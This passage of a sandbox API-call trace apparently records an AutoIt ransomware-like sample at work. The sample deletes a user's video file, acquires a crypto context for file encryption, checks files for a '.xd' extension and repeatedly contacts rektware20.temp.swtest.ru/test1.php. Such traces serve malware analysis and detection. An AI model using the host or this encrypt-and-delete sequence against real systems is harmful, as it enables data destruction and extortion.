hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0065.696] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.696] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.696] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.696] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.696] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.696] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.696] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.696] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.696] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.696] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.696] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.696] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.696] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.696] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.697] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.697] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.701] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.701] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.701] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.701] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0065.702] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0065.702] CryptReleaseContext (hProv=0x17aa230, dwFlags=0x0) returned 1 [0065.703] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.703] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.703] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.703] FreeLibrary (hLibModule=0x74c60000) returned 1 [0065.703] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.703] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.703] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.703] CloseHandle (hObject=0x3bc) returned 1 [0065.704] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.704] CloseHandle (hObject=0x2ac) returned 1 [0065.708] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.709] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.709] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", lpFilePart=0x0) returned 0x2d [0065.709] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\l1sxhrzd9hhl.mp4")) returned 0x20 [0065.710] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c970 [0065.710] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\l1sxhrZd9HHl.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\l1sxhrzd9hhl.mp4")) returned 1 [0065.712] FindNextFileW (in: hFindFile=0x164c970, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0065.712] FindClose (in: hFindFile=0x164c970 | out: hFindFile=0x164c970) returned 1 [0065.713] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.713] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.713] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.713] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.719] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0065.723] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0065.765] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.765] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0065.765] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.765] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0065.765] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0065.765] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e80, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e80, lpdwBufferLength=0x130ef8c) returned 1 [0065.765] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.765] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.766] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.767] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0065.767] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0065.767] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0065.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0065.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0065.767] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.769] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.769] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.769] CloseHandle (hObject=0x0) returned 0 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PMMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MMM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MM9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0065.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.770] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.770] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0065.770] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.770] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0065.770] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0065.770] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.770] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0065.770] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0065.771] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c) returned 1 [0065.771] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.771] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.771] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.772] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0065.772] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0065.773] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0065.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0065.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629340, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629340*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0065.773] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.786] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.786] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.786] CloseHandle (hObject=0x0) returned 0 [0065.786] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.787] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\PMMM9P4.flv", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0065.788] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0065.788] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.788] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.788] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.788] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.788] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.789] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0065.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.790] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0065.790] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.790] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.790] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.790] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.790] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.790] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0065.790] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0065.791] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0065.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0065.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0065.791] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0065.791] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aabc0) returned 1 [0065.792] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.793] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.793] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0065.793] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.793] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.793] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.793] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.793] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.793] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.793] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 